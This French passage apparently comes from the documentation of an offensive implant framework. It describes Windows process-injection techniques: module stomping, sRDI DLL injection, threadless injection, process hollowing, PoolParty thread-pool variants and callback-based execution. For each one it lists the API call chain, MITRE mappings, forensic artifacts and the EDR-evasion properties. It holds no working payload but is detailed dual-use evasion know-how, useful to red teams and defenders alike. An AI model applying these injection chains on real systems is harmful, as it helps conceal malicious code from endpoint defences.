**Limitations :** La section .text de la DLL doit être suffisamment grande pour contenir le shellcode. La DLL est configurée via l'option d'évasion `module_stomp_dll` (par défaut : `xpsservices.dll`). La technique utilise CreateRemoteThread pour l'appel LoadLibraryW initial, qui est détectable.

**Configuration :** Définissez la DLL piétinée via la configuration d'évasion :

```json
{
  "module_stomp_dll": "xpsservices.dll"
}
```

**Prend en charge InjectByPID :** Géré via `allocAndWriteModuleStomp` + injecteur par défaut.
**Prend en charge InjectByHandle :** Géré via `allocAndWriteModuleStomp` + exécution de thread.

Injection de DLL (sRDI)

Détails techniques : injection de DLL via sRDI

ID : dllinject MITRE ATT&CK : T1055.001 - Injection de bibliothèque de liens dynamiques

Comment ça marche : Convertit une DLL en shellcode indépendant de la position à l'aide de la technique sRDI (Shellcode Reflective DLL Injection). Le stub de shellcode gère le mappage PE, la résolution d’importation et la relocalisation entièrement en mémoire – aucun appel LoadLibrary n’est effectué. Le shellcode converti est ensuite injecté à l'aide de la technique d'injection par défaut (CRT).

Chaîne d'appels API :

  1. Valider l'en-tête PE (vérification MZ)
  2. Convertir la DLL en shellcode via sRDI
  3. Injecter le shellcode à l'aide de l'injecteur par défaut (InjectByPID)

Artefacts médico-légaux :

  • Mémoire exécutable non sauvegardée (DLL mappée sans LoadLibrary)
  • L'en-tête PE peut être présent en mémoire (détectable par les scanners de mémoire)
  • Les artefacts d'injection dépendent de la technique sous-jacente (par défaut : CRT)

Limitations : La DLL est spécifiée par l'opérateur via la commande dllinject. La conversion sRDI ajoute un stub de shellcode qui gère le chargement réfléchissant. La technique d'injection sous-jacente est toujours celle par défaut (CRT) et ne peut pas être remplacée pour l'injection de DLL.

Prend en charge InjectByPID : Oui (via l'injecteur par défaut après la conversion sRDI). Prend en charge InjectByHandle : Non (commande autonome uniquement).

Injection sans fil

Détails techniques : injection sans filetage

ID : threadless MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Accroche une fonction exportée dans le processus cible en écrivant un trampoline (enregistrer les registres + appeler le shellcode + jmp à la fonction d'origine) sur le point d'entrée de la fonction. Lorsque le processus cible appelle naturellement la fonction hookée, le trampoline redirige l'exécution vers le shellcode. Aucun thread n'est jamais créé dans le processus cible - l'exécution s'appuie sur les threads existants. Cible de hook par défaut : ntdll!RtlExitUserProcess.

Chaîne d'appels API :

  1. Résoudre l'adresse de fonction exportée dans un processus distant
  2. Lire les octets de fonction d'origine (pour le retour du trampoline)
  3. VirtualAllocEx (RW) pour shellcode + trampoline
  4. Construire un trampoline : pousser les registres, appeler le shellcode, restaurer les registres, jmp original
  5. WriteProcessMemory (shellcode + trampoline)
  6. VirtualProtectEx (RW -> RX)
  7. WriteProcessMemory pour écraser l'entrée de fonction avec jmp sur le trampoline

Artefacts médico-légaux :

  • Prologue de fonction modifié dans le processus cible (détectable par des contrôles d'intégrité du code)
  • Mémoire : transition RW -> RX pour l'allocation du shellcode
  • Aucun artefact CreateRemoteThread ou APC
  • Aucun nouvel événement de création de thread (Sysmon Event 8 absent)

Limitations : La fonction hookée doit être appelée par le processus cible pour que le shellcode puisse s'exécuter. Le timing n’est pas déterministe. La cible par défaut RtlExitUserProcess se déclenche à la sortie du processus, ce qui peut ne pas être immédiat. Choisissez une exportation fréquemment appelée pour un déclenchement plus rapide.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

Processus de creusement

Détails techniques : Processus de creusement

ID : hollowing MITRE ATT&CK : T1055.012 - Processus de creusement

Comment ça marche : Crée un nouveau processus en état suspendu (CREATE_SUSPENDED | CREATE_NO_WINDOW), puis remplace sa mémoire image par un shellcode. Le RIP du thread principal est redirigé vers le shellcode via SetThreadContext et le thread reprend. Le shellcode s'exécute comme le fil principal d'un processus apparemment légitime. Processus sacrificiel par défaut : svchost.exe.

Chaîne d'appels API :

  1. CreateProcessW(sacrificialProcess, CREATE_SUSPENDED | CREATE_NO_WINDOW)
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. GetThreadContext(CONTEXT_FULL) sur le fil principal
  4. Définir ctx.Rip = shellcodeAddr
  5. SetThreadContext(mainThread, ctx)
  6. ResumeThread(mainThread)

Artefacts médico-légaux :

  • Création de processus suspendu (indicateur CREATE_SUSPENDED)
  • Modification du contexte du thread sur le thread principal
  • Mémoire : transition RW -> RX en processus creux
  • Incompatibilité d'image de processus (le contenu de la mémoire ne correspond pas au binaire du disque)

Limitations : Les produits EDR qui comparent la mémoire de processus à l'image sur disque détecteront la non-concordance. Le processus sacrificiel peut être configuré via les paramètres d'apparition. Si l’injection échoue, le processus suspendu est terminé pour éviter les orphelins.

Prend en charge InjectByPID : Oui (crée un nouveau processus suspendu). Prend en charge InjectByHandle : Oui.

PoolParty : Insertion d'éléments de travail

Détails techniques : élément de travail PoolParty (poolparty_workitem)

ID : poolparty_workitem MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Basé sur la recherche PoolParty de SafeBreach Labs. Localise le handle d'usine de travail du pool de threads du processus cible via NtQuerySystemInformation, puis insère un faux élément TP_WORK pointant vers le shellcode. Lorsque le pool de threads distribue l'élément de travail suivant, le shellcode s'exécute en tant que rappel légitime du travailleur du pool de threads.

Chaîne d'appels API :

  1. NtQuerySystemInformation(SystemHandleInformation) pour trouver le handle de l'usine du travailleur
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. Construire une fausse structure TP_WORK avec rappel → adresse shellcode
  4. VirtualAllocEx(PAGE_READWRITE) pour la structure TP_WORK
  5. WriteProcessMemory (TP_WORK vers la cible)
  6. Insérer un élément de travail dans la file d'attente du pool de threads via NtSetInformationWorkerFactory

Artefacts médico-légaux :

  • Non CreateRemoteThread - exécution via la répartition du pool de threads
  • Mémoire : transition RW -> RX pour le shellcode
  • Allocation RW supplémentaire pour la structure TP_WORK
  • L'activité du pool de threads apparaît comme une exécution légitime du travailleur

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

PoolParty : minuterie

Détails techniques : PoolParty Timer (poolparty_timer)

ID : poolparty_timer MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Semblable à l'insertion d'éléments de travail, mais utilise le mécanisme de minuterie du pool de threads. Crée une fausse structure TP_TIMER avec le rappel pointant vers le shellcode et l'insère dans la file d'attente du minuteur de la cible. Lorsque le minuteur se déclenche, le pool de threads distribue le rappel, exécutant le shellcode.

**Chaîne d'appels API :**

1. `NtQuerySystemInformation(SystemHandleInformation)` pour trouver le handle de l'usine du travailleur
2. `VirtualAllocEx` + `WriteProcessMemory` + `VirtualProtectEx` (shellcode, RX)
3. Construire une fausse structure `TP_TIMER` avec rappel → adresse shellcode
4. Écrire la structure dans le processus cible
5. Insérer un minuteur dans la file d'attente du minuteur du pool de threads

**Artefacts médico-légaux :**

- Aucun artefact CreateRemoteThread
- L'exécution du rappel du minuteur apparaît comme une activité légitime du minuteur du pool de threads
- Mémoire : transition RW -> RX pour le shellcode

**Prend en charge InjectByPID :** Oui.
**Prend en charge InjectByHandle :** Oui.

PoolParty : achèvement des E/S

Détails techniques : E/S PoolParty (poolparty_io)

ID : poolparty_io MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Utilise le mécanisme d'achèvement des E/S du pool de threads. Crée une fausse structure TP_IO avec le rappel pointant vers le shellcode et l'associe à un port d'achèvement d'E/S dans le processus cible. Lorsqu'un paquet de fin d'E/S arrive, le pool de threads distribue le rappel.

Chaîne d'appels API :

  1. NtQuerySystemInformation(SystemHandleInformation) pour trouver le handle du port de fin d'E/S
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. Construire une fausse structure TP_IO avec rappel → adresse shellcode
  4. Écrire la structure dans le processus cible
  5. Mettre en file d'attente le paquet d'achèvement d'E/S pour déclencher le rappel

Artefacts médico-légaux :

  • Aucun artefact CreateRemoteThread
  • Le rappel d'achèvement des E/S apparaît comme une gestion légitime des E/S asynchrones
  • Mémoire : transition RW -> RX pour le shellcode

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

PoolParty : port ALPC

Détails techniques : PoolParty ALPC (poolparty_alpc)

ID : poolparty_alpc MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Utilise le mécanisme ALPC (Advanced Local Procedure Call) du pool de threads. Crée une fausse structure TP_ALPC avec le rappel pointant vers le shellcode et l'associe à un port ALPC dans le processus cible. Lorsqu'un message ALPC arrive sur le port, le pool de threads distribue le rappel.

Chaîne d'appels API :

  1. NtQuerySystemInformation(SystemHandleInformation) pour trouver le handle du port ALPC
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. Construire une fausse structure TP_ALPC avec rappel → adresse shellcode
  4. Écrire la structure dans le processus cible
  5. Envoyer un message ALPC pour déclencher l'envoi de rappel

Artefacts médico-légaux :

  • Aucun artefact CreateRemoteThread
  • Le rappel ALPC apparaît comme une gestion légitime des communications inter-processus
  • Mémoire : transition RW -> RX pour le shellcode

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

Rappel : EnumFontFamiliesEx

Détails techniques : rappel de l'énumération des polices (cb_fontenum)

ID : cb_fontenum MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Utilise l'API Windows GDI EnumFontFamiliesExW comme déclencheur de shellcode. Crée un processus suspendu, y écrit du shellcode, puis crée un thread distant qui appelle EnumFontFamiliesExW avec l'adresse du shellcode comme paramètre de rappel. Lorsque GDI énumère les polices, il appelle le rappel (shellcode) pour chaque famille de polices.

Chaîne d'appels API :

  1. CreateProcessW(sacrificialProcess, CREATE_SUSPENDED | CREATE_NO_WINDOW)
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. GetThreadContext → modifier RIP pour pointer vers le stub EnumFontFamiliesExW
  4. Appels EnumFontFamiliesExW(NULL, NULL, shellcodeAddr, 0)
  5. ResumeThread -- L'énumération des polices GDI déclenche le rappel du shellcode

Artefacts médico-légaux :

  • Création de processus suspendue
  • L'appel API GDI semble légitime (l'énumération des polices est courante)
  • Mémoire : transition RW -> RX pour le shellcode
  • Modification du contexte du thread

Prend en charge InjectByPID : Oui (crée un nouveau processus suspendu). Prend en charge InjectByHandle : Oui.

Rappel : file d'attente du minuteur

Détails techniques : rappel de la file d'attente du minuteur (cb_timer)

ID : cb_timer MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Utilise CreateTimerQueueTimer comme déclencheur de shellcode. Crée un processus suspendu, écrit le shellcode, puis redirige l'exécution vers un stub qui appelle CreateTimerQueueTimer avec l'adresse du shellcode comme rappel du minuteur. Le minuteur se déclenche immédiatement (période d'échéance = 0), exécutant le shellcode.

Chaîne d'appels API :

  1. CreateProcessW(sacrificialProcess, CREATE_SUSPENDED | CREATE_NO_WINDOW)
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. GetThreadContext → modifier RIP pour pointer vers le stub CreateTimerQueueTimer
  4. Appels CreateTimerQueueTimer(NULL, NULL, shellcodeAddr, NULL, 0, 0, WT_EXECUTEDEFAULT)
  5. ResumeThread -- le minuteur se déclenche immédiatement, déclenchant le rappel du shellcode

Artefacts médico-légaux :

  • Création de processus suspendue
  • Création de file d'attente de minuterie (modèle d'API Windows légitime)
  • Mémoire : transition RW -> RX pour le shellcode
  • Modification du contexte du thread

Prend en charge InjectByPID : Oui (crée un nouveau processus suspendu). Prend en charge InjectByHandle : Oui.

Rappel : EnumWindows

Détails techniques : rappel d'énumération de fenêtre (cb_winenum)

ID : cb_winenum MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Utilise l'API EnumWindows comme déclencheur de shellcode. Crée un processus suspendu, écrit le shellcode, puis redirige l'exécution vers un stub qui appelle EnumWindows avec l'adresse du shellcode comme rappel d'énumération. Lorsque user32 énumère les fenêtres de niveau supérieur, il appelle le rappel (shellcode) pour chaque fenêtre.

Chaîne d'appels API :

  1. CreateProcessW(sacrificialProcess, CREATE_SUSPENDED | CREATE_NO_WINDOW)
  2. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  3. GetThreadContext → modifier RIP pour pointer vers le stub EnumWindows
  4. Appels EnumWindows(shellcodeAddr, 0)
  5. ResumeThread -- l'énumération de la fenêtre déclenche le rappel du shellcode

Artefacts médico-légaux :

  • Création de processus suspendue
  • Appel d'API d'énumération de fenêtre (activité user32 courante)
  • Mémoire : transition RW -> RX pour le shellcode
  • Modification du contexte du thread

Prend en charge InjectByPID : Oui (crée un nouveau processus suspendu). Prend en charge InjectByHandle : Oui.